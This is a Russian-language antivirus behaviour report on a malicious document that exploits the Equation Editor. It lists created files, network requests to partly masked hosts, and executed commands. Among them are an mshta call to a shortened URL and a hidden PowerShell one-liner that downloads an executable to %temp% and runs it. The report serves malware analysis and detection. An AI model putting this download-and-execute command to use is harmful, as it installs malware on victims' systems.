Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://vi###mania.eu/wp/joyk.exe как %temp%\yk.exe
Запускает на исполнение (эксплоит)
- '%WINDIR%\syswow64\mshta.exe' http://bi#.ly/2RuxqY3 &AAAAAAAAAAAAAAA C
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\microsoft\windows\cookies\user@bit[1].txt
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\caasbycl\yk[1].hta
Сетевая активность
TCP
Запросы HTTP GET
- http://bi#.ly/2RuxqY3
- http://ne##ux.in/av/yk.hta
- http://vi###mania.eu/wp/joyk.exe
UDP
- DNS ASK bi#.ly
- DNS ASK ne##ux.in
- DNS ASK vi###mania.eu
Другое
Создает и запускает на исполнение
- '%WINDIR%\syswow64\mshta.exe' http://bi#.ly/2RuxqY3 &AAAAAAAAAAAAAAA C' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c powershell (new-object System.Net.WebClienT).DownloadFile('http://vi###mania.eu/wp/joyk.exe','%temp%\yk.exe'); Start '%temp%\yk.exe'' (со скрытым окном)
Запускает на исполнение
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\cmd.exe' /c powershell (new-object System.Net.WebClienT).DownloadFile('http://vi###mania.eu/wp/joyk.exe','%temp%\yk.exe'); Start '%temp%\yk.exe'
